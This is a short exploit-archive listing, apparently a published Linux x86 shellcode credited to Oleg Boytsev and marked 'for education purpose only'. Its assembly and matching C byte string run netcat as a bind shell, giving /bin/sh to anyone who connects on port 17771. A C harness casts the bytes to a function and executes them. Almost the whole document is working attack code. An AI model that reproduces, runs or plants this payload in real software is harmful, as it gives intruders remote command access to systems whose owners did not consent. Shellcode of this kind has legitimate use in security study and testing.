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/*
# Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode
# This shellcode will listen on port 17771 and give you /bin/sh
# Date: 31.05.2014
# Shellcode Author: Oleg Boytsev
# Tested on: Debian GNU/Linux 7/i686
# Shellcode Length: 58
# For education purpose only
global _start
section .text
_start:
xor eax, eax
xor edx, edx
push eax
push 0x31373737 ;-vp17771
push 0x3170762d
mov esi, esp
push eax
push 0x68732f2f ;-le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp
push eax
push 0x636e2f2f ;/bin//nc
push 0x6e69622f
mov ebx, esp
push edx
push esi
push edi
push ebx
mov ecx, esp
mov al,11
int 0x80
*/
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] =
“\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n",strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
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